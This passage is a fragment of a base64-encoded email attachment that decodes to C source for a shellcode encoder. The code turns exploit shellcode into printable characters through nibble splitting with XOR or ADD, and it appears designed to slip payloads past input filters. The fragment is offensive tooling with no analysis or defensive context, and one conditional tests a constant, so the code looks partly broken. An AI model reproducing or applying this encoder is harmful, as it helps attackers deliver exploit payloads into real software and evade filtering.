QSA9IChzaGVsbGNvZGVbel0gJiAweGYwKSA+PiA0Ow0KCQlCID0gKHNoZWxsY29kZVt6XSAmIDB4
MGYpOw0KDQoJCUYgPSBCOw0KCQkvLyBFIGlzIGFyYml0cmFyeSBhcyBsb25nIGFzIEVGIGlzIGEg
dmFsaWQgY2hhcmFjdGVyDQoJCWkgPSByYW5kKCkgJSBzdHJsZW4odmFsaWRfY2hhcnMpOw0KCQl3
aGlsZSAoKHZhbGlkX2NoYXJzW2ldICYgMHgwZikgIT0gRikgeyBpID0gKytpICUgc3RybGVuKHZh
bGlkX2NoYXJzKTsgfQ0KCQlFID0gdmFsaWRfY2hhcnNbaV0gPj4gNDsNCgkJLy8gbm9ybWFsIGNv
ZGUgdXNlcyB4b3IsIHVuaWNvZGUtcHJvb2YgdXNlcyBBREQuDQoJCS8vIEFCIC0+DQoJCUQgPSAg
MCA/IChBLUUpICYgMHgwZiA6IChBXkUpOw0KCQkvLyBDIGlzIGFyYml0cmFyeSBhcyBsb25nIGFz
IENEIGlzIGEgdmFsaWQgY2hhcmFjdGVyDQoJCWkgPSByYW5kKCkgJSBzdHJsZW4odmFsaWRfY2hh
cnMpOw0KCQl3aGlsZSAoKHZhbGlkX2NoYXJzW2ldICYgMHgwZikgIT0gRCkgeyBpID0gKytpICUg
c3RybGVuKHZhbGlkX2NoYXJzKTsgfQ0KCQlDID0gdmFsaWRfY2hhcnNbaV0gPj4gNDsNCgkJLy9l
ZGl0LCB1c2UgY3VyQ2hhciBwdHIgdG8gc3RybmNweSBpdC4NCgkJLy9wcmludGYoIiVjJWMiLCAo
Qzw8NCkrRCwgKEU8PDQpK0YpOw0KCQlzcHJpbnRmKGJ1ZmYsIiVjJWMiLChDPDw0KStELCAoRTw8
NCkrRik7DQoJCXN0cmNhdChlbmNTaGVsbGNvZGUsYnVmZik7DQoJfQ0KCXJldHVybiBlbmNTaGVs
bGNvZGU7DQp9
----=_NextPart_000_000B_6E23A351.157640CA--
